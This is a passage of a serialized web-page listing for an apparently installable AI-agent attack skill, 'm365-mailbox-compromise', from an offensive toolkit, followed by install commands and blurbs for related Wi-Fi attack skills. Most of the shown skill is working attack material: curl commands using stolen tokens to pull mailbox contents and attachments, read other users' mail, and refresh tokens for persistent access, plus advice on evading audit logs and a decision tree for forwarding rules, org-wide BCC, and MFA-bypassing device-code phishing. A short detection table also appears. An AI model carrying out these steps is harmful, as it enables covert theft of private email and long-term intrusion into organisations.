Bearer $ACCESS_TOKEN\" > \u002Ftmp\u002Fm365_search.json\n\n# Download all attachments\ncurl -s \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002Fmessages?\\$filter=hasAttachments eq true&\\$top=50\" \\\n  -H \"Authorization: Bearer $ACCESS_TOKEN\" | jq -r '.value[].id' | while read msgid; do\n  curl -s \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002Fmessages\u002F$msgid\u002Fattachments\" \\\n    -H \"Authorization: Bearer $ACCESS_TOKEN\" | jq -r '.value[] | .name + \" \" + .contentBytes' >> \u002Ftmp\u002Fm365_attachments.txt\ndone\n\n# Access other users' mailboxes (with ApplicationImpersonation)\ncurl -s \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fusers\u002F\u003CVICTIM_UPN>\u002Fmessages?\\$top=50\" \\\n  -H \"Authorization: Bearer $ACCESS_TOKEN\" | jq '.value[] | {subject,from}'\n\n# OneDrive\u002FSharePoint access with same token (if scoped)\ncurl -s \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\u002Fdrive\u002Froot\u002Fchildren\" \\\n  -H \"Authorization: Bearer $ACCESS_TOKEN\" | jq '.value[] | {name,size,lastModifiedDateTime}'\n```\n\n## 6. Token Refresh & Long-Term Persistence\n\n```bash\n# Refresh tokens last 90 days by default (can be revoked)\n# Keep refreshing before expiry to maintain access indefinitely\n\n# Automated token refresh loop\nREFRESH_TOKEN=$(jq -r '.refresh_token' \u002Ftmp\u002Fm365_tokens.json)\nNEW_TOKENS=$(curl -s \"https:\u002F\u002Flogin.microsoftonline.com\u002Fcommon\u002Foauth2\u002Fv2.0\u002Ftoken\" \\\n  -d \"client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&scope=offline_access Mail.Read Mail.ReadWrite\")\necho \"$NEW_TOKENS\" > \u002Ftmp\u002Fm365_tokens.json\n\n# Check token validity\ncurl -s \"https:\u002F\u002Fgraph.microsoft.com\u002Fv1.0\u002Fme\" \\\n  -H \"Authorization: Bearer $(jq -r '.access_token' \u002Ftmp\u002Fm365_tokens.json)\" | jq '{displayName,mail,userPrincipalName}'\n\n# If refresh token is revoked, fall back to:\n# 1. Consent grant still active → re-authenticate via consent URL\n# 2. Mail forwarding rules still active → passive collection continues\n# 3. Delegate permissions still active → access via different compromised account\n```\n\n## Tools & Resources\n\n| Tool | Purpose |\n|---|---|\n| TokenTactics (PowerShell) | Device code phishing and token manipulation |\n| AADInternals | Azure AD \u002F M365 enumeration and abuse |\n| ROADtools | Azure AD data collection and analysis |\n| GraphRunner | Graph API post-exploitation framework |\n| Mailsniper | Exchange\u002FM365 mailbox enumeration |\n| o365creeper | M365 user enumeration via ActiveSync |\n| Hawk | M365 forensic log analysis (know your enemy) |\n\n## Detection Signatures\n\n| Indicator | Detection Method |\n|---|---|\n| OAuth consent grant to unknown app | Azure AD sign-in logs: `ConsentGrant` activity |\n| Device code flow from unusual IP | Azure AD: `DeviceCodeFlow` auth event with risky IP |\n| ApplicationImpersonation role assignment | Unified Audit Log: `New-ManagementRoleAssignment` |\n| Inbox rule with external forwarding | Exchange audit: `New-InboxRule` with `ForwardTo` external |\n| Mail flow rule with BCC to external | Exchange admin audit: `New-TransportRule` |\n| Graph API bulk message access | Azure AD sign-in: high-volume `Mail.Read` scoped token usage |\n| Delegate mailbox access added | Exchange audit: `Add-MailboxPermission` with `FullAccess` |\n| Refresh token from new device\u002FIP | Azure AD: continuous access evaluation (CAE) alerts |\n\n## Error Handling & Edge Cases\n\n- **Consent blocked by admin policy**: Target tenants with `User.ReadWrite.All` admin consent required; use device code flow instead — it uses first-party Microsoft client IDs\n- **Conditional Access Policy blocks token**: Some CAs require compliant device; device code flow from attacker machine may be blocked — chain with compromised endpoint\n- **Refresh token revoked**: Fall back to active mail rules or delegate access; these persist independently of token state\n- **Audit logs enabled**: Operate during business hours; blend Graph API calls with legitimate patterns; use first-party client IDs to avoid suspicious app registrations\n- **MFA on target account**: Device code phishing bypasses MFA — victim authenticates with their MFA; token captured post-authentication\n- **Mailbox audit logging**: Modern M365 enables mailbox auditing by default; minimize API calls, use `$select` to reduce logged scope\n\n## Decision Gate\n\n```\nIF initial access to M365 account:\n  → Deploy inbox forwarding rule for passive collection\n  → Create hidden mail rule matching high-value keywords\n  → Exfiltrate recent email via Graph API search\n  → Refresh token on schedule to maintain access\n\nIF Exchange admin access:\n  → Grant ApplicationImpersonation for cross-mailbox access\n  → Create transport rule for org-wide BCC\n  → Target executive\u002Ffinance mailboxes specifically\n\nIF no credentials but phishing opportunity:\n  → Device code phishing (bypasses MFA, uses legitimate Microsoft URL)\n  → Fallback: OAuth consent grant phishing (requires app registration)\n  → Last resort: credential phishing (less effective with MFA)\n\nIF access is detected\u002Frevoked:\n  → Mail rules persist after password reset — check if still forwarding\n  → Delegate permissions persist after token revocation — re-authenticate\n  → OAuth consent grants persist until explicitly revoked by admin\n```\n",{"name":5,"metadata":24,"description":7},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"cloud m365 oauth phishing email-collection persistence","cloud","m365 microsoft 365 office 365 mailbox compromise oauth consent phishing device code phishing delegate access mail rule forwarding application impersonation exchange online token theft email collection outlook graph api","T1528, T1098.002, T1114.002, T1137","master","8e5d356b795eae2edd4a26509a4b8968e2c4c251","packages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fcloud\u002Fm365-mailbox-compromise","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix","https:\u002F\u002Fgithub.com\u002FAkapi895","2026-11-06 17:46:09",{"source":8,"skillName":5,"commands":36,"prompt":46,"zipAvailable":47},[37,40,43],{"tool":38,"command":39},"npx","npx skills add Akapi895\u002Fraptix --skill m365-mailbox-compromise",{"tool":41,"command":42},"bunx","bunx skills add Akapi895\u002Fraptix --skill m365-mailbox-compromise",{"tool":44,"command":45},"pnpm","pnpm dlx skills add Akapi895\u002Fraptix --skill m365-mailbox-compromise","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fcloud\u002Fm365-mailbox-compromise\u002FSKILL.md",true,[],[50,57,64,71,78,85],{"skillNo":51,"name":52,"nameZh":6,"description":53,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":54,"categories":55,"keywords":56,"publishedAt":19},"01M7DGM32SRP4FZSPYWY621BKQ","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":58,"name":59,"nameZh":6,"description":60,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":61,"categories":62,"keywords":63,"publishedAt":19},"01M7DGKXXVDTY0KBZZR83VFPZX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":65,"name":66,"nameZh":6,"description":67,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":68,"categories":69,"keywords":70,"publishedAt":19},"01M7DGKSV77ENX3D6TG2HQX9MK","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":72,"name":73,"nameZh":6,"description":74,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":75,"categories":76,"keywords":77,"publishedAt":19},"01M7DGKJ9R6YTFRFBSEAJRGGKF","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":19},"01M7DGKCFZGKK2EQMWZM1A18S8","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":19},"01M7DGK76MKZQWBXTZN82W7214","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002FAkapi895\u002Fraptix\u002Fblob\u002Fmaster\u002Fpackages\u002Fraptix-skills\u002Fraptix_skills\u002Fdefs\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]